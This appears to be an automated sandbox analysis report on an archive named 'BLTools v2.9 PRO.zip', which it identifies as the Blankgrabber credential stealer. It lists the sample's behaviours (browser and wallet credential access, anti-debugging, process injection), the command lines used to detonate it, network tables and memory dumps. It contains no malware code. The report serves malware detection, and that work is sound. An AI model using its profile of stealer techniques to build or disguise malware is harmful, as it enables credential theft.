Malware Analysis Report

2025-03-15 04:30

Sample ID 241025-2ttxksxbrm
Target BLTools v2.9 PRO.zip
SHA256 94b1aee4ca3f71653b2a7dd14c67384416acb7b7b3bbcdc6b62abbf47fc1394f
Tags
discovery upx execution blankgrabber collection credential_access defense_evasion persistence privilege_escalation spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral7

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral25

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral26

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral13

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral9

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral11

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral15

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral16

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral18

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral20

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral10

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral14

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral17

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral19

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral21

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral22

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral23

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral8

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral12

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral24

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

94b1aee4ca3f71653b2a7dd14c67384416acb7b7b3bbcdc6b62abbf47fc1394f

Threat Level: Known bad

The file BLTools v2.9 PRO.zip was found to be: Known bad.

Malicious Activity Summary

discovery upx execution blankgrabber collection credential_access defense_evasion persistence privilege_escalation spyware stealer

Blankgrabber family

A stealer written in Python and packaged with Pyinstaller

Command and Scripting Interpreter: PowerShell

Executes dropped EXE

Clipboard Data

Unsecured Credentials: Credentials In Files

Reads user/profile data of web browsers

Checks computer location settings

Loads dropped DLL

Looks up external IP address via web service

Obfuscated Files or Information: Command Obfuscation

Accesses cryptocurrency files/wallets, possible credential harvesting

UPX packed file

Enumerates processes with tasklist

Suspicious use of NtSetInformationThreadHideFromDebugger

Suspicious use of SetThreadContext

Enumerates physical storage devices

Unsigned PE

Browser Information Discovery

Command and Scripting Interpreter: JavaScript

System Location Discovery: System Language Discovery

System Network Configuration Discovery: Wi-Fi Discovery

Event Triggered Execution: Netsh Helper DLL

Modifies registry class

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Gathers system information

Detects videocard installed

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-25 22:52

Signatures

A stealer written in Python and packaged with Pyinstaller

Description Indicator Process Target
N/A N/A N/A N/A

Blankgrabber family

blankgrabber

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win10v2004-20241007-en

Max time kernel

136s

Max time network

149s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\AlphaFS.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\AlphaFS.dll",#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 67.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp

Files

N/A

Analysis: behavioral4

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win10v2004-20241007-en

Max time kernel

149s

Max time network

153s

Command Line

"C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe"

Signatures

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe

"C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 71.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 150.171.27.10:443 g.bing.com tcp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp
US 8.8.8.8:53 26.73.42.20.in-addr.arpa udp

Files

memory/548-0-0x0000000074D4E000-0x0000000074D4F000-memory.dmp

memory/548-1-0x0000000000BB0000-0x00000000012D8000-memory.dmp

memory/548-2-0x0000000003460000-0x0000000003461000-memory.dmp

memory/548-3-0x0000000074D40000-0x00000000754F0000-memory.dmp

memory/548-4-0x0000000005EB0000-0x0000000005ED4000-memory.dmp

memory/548-5-0x0000000005BD0000-0x0000000005BF0000-memory.dmp

memory/548-6-0x0000000006950000-0x000000000727C000-memory.dmp

memory/548-7-0x0000000006070000-0x00000000060C0000-memory.dmp

memory/548-8-0x0000000006120000-0x0000000006180000-memory.dmp

memory/548-9-0x0000000007280000-0x0000000007824000-memory.dmp

memory/548-10-0x0000000006290000-0x00000000063D2000-memory.dmp

memory/548-11-0x0000000006880000-0x000000000693A000-memory.dmp

memory/548-12-0x0000000007830000-0x00000000078C2000-memory.dmp

memory/548-13-0x0000000074D40000-0x00000000754F0000-memory.dmp

memory/548-16-0x0000000009550000-0x000000000955E000-memory.dmp

memory/548-15-0x0000000074D40000-0x00000000754F0000-memory.dmp

memory/548-14-0x0000000009580000-0x00000000095B8000-memory.dmp

memory/548-17-0x00000000101A0000-0x00000000101B2000-memory.dmp

memory/548-18-0x0000000009300000-0x0000000009308000-memory.dmp

memory/548-19-0x0000000074D40000-0x00000000754F0000-memory.dmp

memory/548-20-0x0000000074D40000-0x00000000754F0000-memory.dmp

memory/548-21-0x0000000074D40000-0x00000000754F0000-memory.dmp

memory/548-22-0x0000000074D40000-0x00000000754F0000-memory.dmp

memory/548-23-0x0000000074D4E000-0x0000000074D4F000-memory.dmp

memory/548-24-0x0000000074D40000-0x00000000754F0000-memory.dmp

memory/548-25-0x0000000074D40000-0x00000000754F0000-memory.dmp

memory/548-26-0x0000000074D40000-0x00000000754F0000-memory.dmp

memory/548-27-0x0000000074D40000-0x00000000754F0000-memory.dmp

memory/548-28-0x0000000074D40000-0x00000000754F0000-memory.dmp

Analysis: behavioral7

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win7-20240708-en

Max time kernel

121s

Max time network

123s

Command Line

"C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe"

Signatures

Processes

C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe

"C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe"

C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe

"C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\CookiesCreator.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\_MEI22522\python312.dll

MD5 fb8bedf8440eb432c9f3587b8114abc0
SHA1 136bb4dd38a7f6cb3e2613910607131c97674f7c
SHA256 cb627a3c89de8e114c95bda70e9e75c73310eb8af6cf3a937b1e3678c8f525b6
SHA512 b632235d5f60370efa23f8c50170a8ac569ba3705ec3d515efcad14009e0641649ab0f2139f06868024d929defffffefb352bd2516e8cd084e11557b31e95a63

memory/2904-24-0x000007FEF5670000-0x000007FEF5D35000-memory.dmp

memory/2904-25-0x000000013F070000-0x000000013F0A2000-memory.dmp

memory/2252-47-0x000000013F070000-0x000000013F0A2000-memory.dmp

Analysis: behavioral25

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win7-20240903-en

Max time kernel

117s

Max time network

119s

Command Line

wscript.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Projects\👁 itsnotZELENKA.GURU 👁.js"

Signatures

Command and Scripting Interpreter: JavaScript

execution

Processes

C:\Windows\system32\wscript.exe

wscript.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Projects\👁 itsnotZELENKA.GURU 👁.js"

Network

N/A

Files

N/A

Analysis: behavioral26

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win10v2004-20241007-en

Max time kernel

149s

Max time network

152s

Command Line

wscript.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Projects\👁 itsnotZELENKA.GURU 👁.js"

Signatures

Command and Scripting Interpreter: JavaScript

execution

Processes

C:\Windows\system32\wscript.exe

wscript.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Projects\👁 itsnotZELENKA.GURU 👁.js"

Network

Country Destination Domain Proto
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 74.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 28.173.189.20.in-addr.arpa udp

Files

N/A

Analysis: behavioral13

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win7-20240903-en

Max time kernel

122s

Max time network

124s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\MaterialDesignColors.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\MaterialDesignColors.dll",#1

Network

N/A

Files

N/A

Analysis: behavioral3

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win7-20241010-en

Max time kernel

121s

Max time network

141s

Command Line

"C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe"

Signatures

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe

"C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe"

Network

N/A

Files

memory/2304-0-0x000000007408E000-0x000000007408F000-memory.dmp

memory/2304-1-0x00000000002C0000-0x00000000009E8000-memory.dmp

memory/2304-2-0x0000000000A00000-0x0000000000A01000-memory.dmp

memory/2304-3-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-4-0x0000000000A30000-0x0000000000A54000-memory.dmp

memory/2304-5-0x0000000000A60000-0x0000000000A80000-memory.dmp

memory/2304-6-0x000000000A290000-0x000000000ABBC000-memory.dmp

memory/2304-7-0x0000000002860000-0x00000000028B0000-memory.dmp

memory/2304-8-0x00000000028F0000-0x0000000002950000-memory.dmp

memory/2304-9-0x00000000053F0000-0x0000000005532000-memory.dmp

memory/2304-10-0x0000000000D70000-0x0000000000D7A000-memory.dmp

memory/2304-11-0x0000000000D70000-0x0000000000D7A000-memory.dmp

memory/2304-12-0x000000007408E000-0x000000007408F000-memory.dmp

memory/2304-13-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-14-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-15-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-16-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-17-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-18-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-19-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-20-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-21-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-22-0x0000000000D70000-0x0000000000D7A000-memory.dmp

memory/2304-23-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-24-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-25-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-26-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-27-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-28-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-29-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-30-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-31-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-32-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-33-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-34-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-35-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-36-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-37-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-38-0x0000000074080000-0x000000007476E000-memory.dmp

memory/2304-39-0x0000000074080000-0x000000007476E000-memory.dmp

Analysis: behavioral9

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win7-20240903-en

Max time kernel

122s

Max time network

123s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Extreme.Net.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Extreme.Net.dll",#1

Network

N/A

Files

N/A

Analysis: behavioral11

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win7-20241010-en

Max time kernel

11s

Max time network

19s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\License.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\License.dll",#1

Network

N/A

Files

N/A

Analysis: behavioral15

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win7-20241010-en

Max time kernel

117s

Max time network

119s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\MaterialDesignThemes.Wpf.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\MaterialDesignThemes.Wpf.dll",#1

Network

N/A

Files

N/A

Analysis: behavioral16

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win10v2004-20241007-en

Max time kernel

137s

Max time network

140s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\MaterialDesignThemes.Wpf.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\MaterialDesignThemes.Wpf.dll",#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 99.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp

Files

N/A

Analysis: behavioral18

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win10v2004-20241007-en

Max time kernel

135s

Max time network

139s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Microsoft.Xaml.Behaviors.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Microsoft.Xaml.Behaviors.dll",#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.27.10:443 g.bing.com tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 103.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp

Files

N/A

Analysis: behavioral20

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win10v2004-20241007-en

Max time kernel

136s

Max time network

138s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Ookii.Dialogs.Wpf.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\Ookii.Dialogs.Wpf.dll",#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 150.171.27.10:443 g.bing.com tcp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 110.11.19.2.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp

Files

N/A

Analysis: behavioral6

Detonation Overview

Submitted

2024-10-25 22:52

Reported

2024-10-25 22:56

Platform

win10v2004-20241007-en

Max time kernel

139s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe"

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\evb9ABB.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 4172 set thread context of 4272 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb9ABB.tmp

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4172 wrote to memory of 4272 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb9ABB.tmp
PID 4172 wrote to memory of 4272 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb9ABB.tmp
PID 4172 wrote to memory of 4272 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb9ABB.tmp
PID 4172 wrote to memory of 4272 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb9ABB.tmp
PID 4172 wrote to memory of 4272 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb9ABB.tmp
PID 4172 wrote to memory of 4272 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb9ABB.tmp
PID 4172 wrote to memory of 4272 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb9ABB.tmp
PID 4172 wrote to memory of 4272 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb9ABB.tmp
PID 4172 wrote to memory of 4272 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb9ABB.tmp
PID 4172 wrote to memory of 4272 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb9ABB.tmp
PID 4172 wrote to memory of 4272 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb9ABB.tmp
PID 4172 wrote to memory of 4272 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb9ABB.tmp
PID 4172 wrote to memory of 4272 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb9ABB.tmp
PID 4172 wrote to memory of 4272 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb9ABB.tmp
PID 4172 wrote to memory of 4272 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb9ABB.tmp
PID 4172 wrote to memory of 4272 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb9ABB.tmp
PID 4172 wrote to memory of 4272 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\evb9ABB.tmp
PID 4172 wrote to memory of 1824 N/A C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools.exe C:\Users\Admin\AppData\Local\Temp\BLTools v2.9 PRO\BLTools v2.9 PRO.exe
